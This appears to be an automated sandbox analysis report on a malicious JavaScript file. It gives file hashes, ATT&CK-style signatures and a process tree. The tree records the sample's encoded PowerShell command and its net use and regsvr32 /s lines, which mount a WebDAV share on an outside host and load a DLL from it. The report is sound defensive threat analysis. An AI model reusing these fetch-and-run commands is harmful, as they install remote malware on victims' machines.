Analysis

  • max time kernel
    136s
  • max time network
    105s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/07/2024, 05:01

General

  • Target

    16845111402433518252.js

  • Size

    21KB

  • MD5

    2c93d16e33ae4bede700988fa6744dc3

  • SHA1

    f84968c08872e084ea59616304fa299d15c8d1ba

  • SHA256

    8634b28a22ee1235ecef254ec13b8e19ea9e6354f57b8af67739da49dffebcfe

  • SHA512

    4d7b020c15348b791d582c351d07c18f35dcc92dc2a95886b5828d8926fe6c08311bbeaf530d3f3b92e23810e318172c1fc8296f31b8a1492030dff58c569564

  • SSDEEP

    96:Z0p5W2ixM0YBEGVAQyhal0ZVE73khGUrwggVE7b2l5AbGQrKIe3Guw7eLLN0ria+:8WsBLxW43Or/RfIcKBfUKIcKBf7cB

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\16845111402433518252.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADEAMwA4ADYANAAwADcAOQAzADcALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4160
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:5116
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\1386407937.dll
          3⤵
            PID:2756

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zxt53xkn.nrt.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4160-0-0x00007FFACD333000-0x00007FFACD335000-memory.dmp

        Filesize

        8KB

      • memory/4160-10-0x0000015E4AD70000-0x0000015E4AD92000-memory.dmp

        Filesize

        136KB

      • memory/4160-11-0x00007FFACD330000-0x00007FFACDDF1000-memory.dmp

        Filesize

        10.8MB

      • memory/4160-12-0x00007FFACD330000-0x00007FFACDDF1000-memory.dmp

        Filesize

        10.8MB

      • memory/4160-15-0x00007FFACD330000-0x00007FFACDDF1000-memory.dmp

        Filesize

        10.8MB